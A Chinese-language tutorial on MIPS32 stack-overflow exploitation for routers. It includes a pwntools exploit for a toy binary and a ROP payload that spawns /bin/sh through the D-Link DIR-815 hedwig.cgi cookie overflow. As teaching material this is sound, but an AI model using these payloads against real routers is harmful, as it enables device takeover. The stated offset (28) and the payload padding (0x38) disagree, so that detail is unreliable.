路由器破解初探之栈溢出漏洞利用
字数 1705 2025-08-22 12:22:48
MIPS32架构栈溢出漏洞利用教学文档
一、MIPS架构基础
1.1 MIPS寄存器简介
MIPS32架构中重要的寄存器包括:
-
通用寄存器:
$zero:值始终为0$at:保留寄存器$v0-$v1:保存表达式或程序返回结果$a0-$a3:函数调用的前四个参数$t0-$t7:临时寄存器$s0-$s7:保存函数调用期间必须保存的原值$k0-$k1:保留,中断处理函数使用$gp:全局指针$sp:栈顶指针$fp:保存栈指针$ra:保存返回地址
-
特殊寄存器:
PC:程序计数器HI:乘除结果高位寄存器LO:乘除结果低位寄存器
1.2 基本指令
- LOAD/STORE指令:
lb,lbu,lh,lhu,ll,lw,lwl,lwr,sb,sc,sh,sw,swl,swr,move - 算术运算指令:
add,addi,addiu,sub,subu,slt,slti,sltiu,sltu,mul,mult,multu,madd,msub,msubu,div,divu - 类比较指令:
slt,slti,sltiu,sltu - SYSCALL:软中断,用于执行系统调用
二、MIPS堆栈原理
2.1 与x86架构的主要差异
- MIPS32架构中没有EBP寄存器
- 进入函数时将当前栈指针向下移动n比特到该函数的stack frame存储空间
- 函数返回时加上偏移量恢复栈指针
- 寄存器出入栈时都需要指定偏移量
- 传参时前四个参数使用
$a0-$a3,多余的保存在调用函数的预留栈顶空间内 - 调用函数时会把函数的返回地址直接存入
$RA寄存器
2.2 函数调用分类
MIPS32架构中函数分为两种:
-
叶子函数:不再调用其他函数的函数
- 将返回地址存在
$ra指针中 - 直接使用"jr $ra"返回
- 将返回地址存在
-
非叶子函数:会调用其他函数的函数
- 将返回地址存入堆栈
- 返回时先从堆栈中取出返回值存到
$ra中
三、栈溢出利用技术
3.1 非叶子函数溢出利用
示例代码:
#include<stdio.h>
void backdoor(){
system("/bin/sh");
}
void vlun(){
char dst[20]={0};
read(0,&dst,1000);
}
void main(){
vlun();
exit();
}
编译命令:
mips-linux-gcc no_leaf.c -static -o no_leaf
调试方法:
- 使用qemu调起程序:
qemu-mipsel -g 9981 -L mipsel-linux-gnu ./no_leaf - 使用gdb-multiarch调试:
gdb-multiarch set architecture mips target remote localhost:9981
偏移量计算:
- 使用cyclic生成测试字符串:
cyclic 200 - 程序崩溃后查看崩溃地址:
输出结果为28,即偏移量为28cyclic -l 0x61616168
EXP构造:
from pwn import *
p=process("./no_leaf")
payload='a'*0x38+p32(0x400370)
p.sendline(payload)
p.interactive()
3.2 叶子函数溢出利用
叶子函数将返回地址存在$ra指针中,而非堆栈上,因此利用难度较大。在可以大量溢出的情况下,仍可利用:
- 通过覆盖足够大的栈空间来影响程序执行流
- 结合ROP技术进行利用
四、ROP利用技术
4.1 MIPS ROP特点
- 使用IDA的mipsrop插件搜索gadget
- 适用于IDA 6.8(IDA 7.0也有相应脚本)
4.2 mipsrop插件使用
mipsrop.help() # 帮助菜单
mipsrop.doubles() # 打印一系列函数调用gadget
mipsrop.stackfinder() # 寻找栈数据可控的rop
mipsrop.summary() # 列出所有可用rop
mipsrop.system() # 列出用于执行system函数
mipsrop.find(xxx) # 查找特定rop
mipsrop.tails() # 列出将栈数据保存在$ra等寄存器中的rop
五、Shellcode编写
5.1 编写步骤
- 用C语言完成所需程序
- 使用gcc生成文件
- 用objdump反汇编检查是否有坏指令
- 根据需求修改汇编代码
- 使用objcopy生成最终shellcode
六、实例分析:D-LINK DIR-815多次溢出
6.1 漏洞细节
- 漏洞文件:
hedwig.cgi - 漏洞成因:cookie过长导致栈溢出
- 受影响版本:DIR-815、DIR-300、DIR-615等
6.2 环境搭建
- 下载固件:
ftp://ftp2.dlink.com/PRODUCTS/DIR-815/REVA/DIR-815_FIRMWARE_1.01.ZIP - 提取固件:
binwalk -e DIR-815.bin - 定位漏洞文件:
find ./ -name 'hedwig.cgi'
6.3 漏洞验证
测试命令:
sudo chroot . ./qemu-mipsel-static -E CONTENT_LENGTH=20 -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=`python -c "print 'uid=123'+'A'*0x600"` -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="0.0.0.0" -g 23946 ./htdocs/web/hedwig.cgi
确定偏移量:
- 使用cyclic 1536生成测试字符串
- 程序崩溃后查看崩溃地址
- 计算偏移量:
输出结果为1040cyclic -l 0x6b61616b
6.4 EXP构造技巧
当目标地址包含坏字节时,可以先写入地址减一的值,然后利用gadget加一恢复:
system_addr = 0x53200-1+0x767e9000
add_jar = 0x159CC # addiu $s5,$sp,0x170+var_160 | jalr $s0 |
sys_1 = 0x000158C8 # addiu $s0,1 | jalr $s5 |
padding = 'uid=' + 'a' * 1013
padding += p32(base_addr + system_addr)
padding += 'a' * 16
padding += p32(base_addr+add_jar)
padding += 'a' * 12
padding += p32(base_addr + sys_1)
padding += 'a' * 0x10
padding += '/bin/sh\x00'
七、总结
- MIPS架构栈溢出利用主要针对
$ra寄存器 - 区分叶子函数和非叶子函数的利用方式
- 使用mipsrop插件高效查找gadget
- 地址包含坏字节时可使用加减法绕过
- 路由器环境通常没有ASLR,利用相对简单